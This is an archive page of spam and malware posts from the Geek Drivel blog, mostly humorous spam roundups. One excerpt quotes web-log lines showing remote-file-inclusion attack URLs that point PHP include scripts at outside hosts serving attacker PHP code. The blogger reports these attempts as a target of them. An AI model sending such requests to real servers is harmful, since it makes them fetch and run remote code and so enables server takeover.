“Russian spammer murder hoax exposed”
Darn. I was hoping it was true, and apparently I wasn’t alone. Maybe the Mafia’s PR department spread the story. 😉
Archive of posts filed under the Spam and Malware category.
E-mail spam (including Trojan and virus messages), instant-message spam (“spim”), blog-comment spam, postal “bulk business mail,” and any other kind of unwanted, underhanded, and/or intrusive advertising. Also covers viruses, worms, and other malware.
E-Mail: A Modest Proposal
E-mail is a wonderful invention. I’ve been using it since 1987 or thereabouts, when one of my uncles gave me a 300 baud acoustic modem that I could plug into my Sinclair QL, and I discovered the local FidoNet node. However, this wonderful innovation started becoming a burden about a decade ago — that’s when …
The Latest Accidentally Humorous Spam Awards
Once more unto the breech, dear friends…
Latest Inadvertently Amusing Spam Roundup
Yes, it’s the Spam Roundup, a semi-regular feature of Geek Drivel that mocks the pathetic attempts of spammers and scammers to part us from our hard-earned money.
The Latest Accidentally Amusing Spam Roundup
It’s time once again for the best of the worst of spam! The winner of this week’s couldn’t-buy-a-clue-with-a-roll-of-quarters prize: Subject: {subj_spamit} Viagra Pro (SALE 50%) – Increase S*e*x Drive – Boost Sexual Performance – Fuller & Harder Erections – Increase Stamina & Endurance – Quicker Recharges – Improved sildenafil citrate formula – Works in less …
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Geek Drivel is under attack!
Over the past couple days, I’ve noticed three odd URLs in my web logs, from three different IP addresses, all using different versions of libwww-perl as the browser ID: /category//includes/global.php?nbs=http://nusay.webng.com/31337.txt??? /category//includes/auth.php?nbs=http://nusay.webng.com/31337.txt?? /category//includes/global.php?nbs=http://usuarios.arnet.com.ar/larry123/safe.txt? Curious, I checked out the “31337.txt” and “safe.txt” files… they were very similar, both consisting of near-identical PHP instructions that tried to get …
Latest Inadvertently Amusing Spam Roundup
Spam has become enough of a topic here that I’ve given it it’s own category, and reclassified a number of earlier entries on the subject. I also wanted to mention the blog-comment spam problem again. Oddly enough, out of over two hundred such attempts, every blog-comment spam that I’ve had here has been on one …
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Accidentally Amusing Spam
Here’s the latest installment in what is becoming a regular feature. The first in our hall of shame is a message with the subject line “Paraphernalia of high life – for less!” I thought it would be an ad for bongs and crack-pipes, and wondered how even spammers would get away with advertising that kind …
…Spammity-spam, spammity spam!
Continuing the series on accidentally-humorous spam messages… “Hit her entrails with your penis.” (Why would I want to?) “With Penis Enlarge Patch your penis will protrude like a balloon.” (Kind of embarrassing to walk down the street that way.) “I am ready to kill myself and eat my dog, if medicine prices here are bad.” …
Blog Comment Spam Deluge
I’m not sure what attracted the spammers’ attention, but a couple of my older blog posts have suddenly become spam magnets. They’ve gotten a steady stream of spam comments over the last couple days, obviously automated posts that are primarily full of nonsense sentences (“These experiences in those pay medical placidyl premises.”), and that also …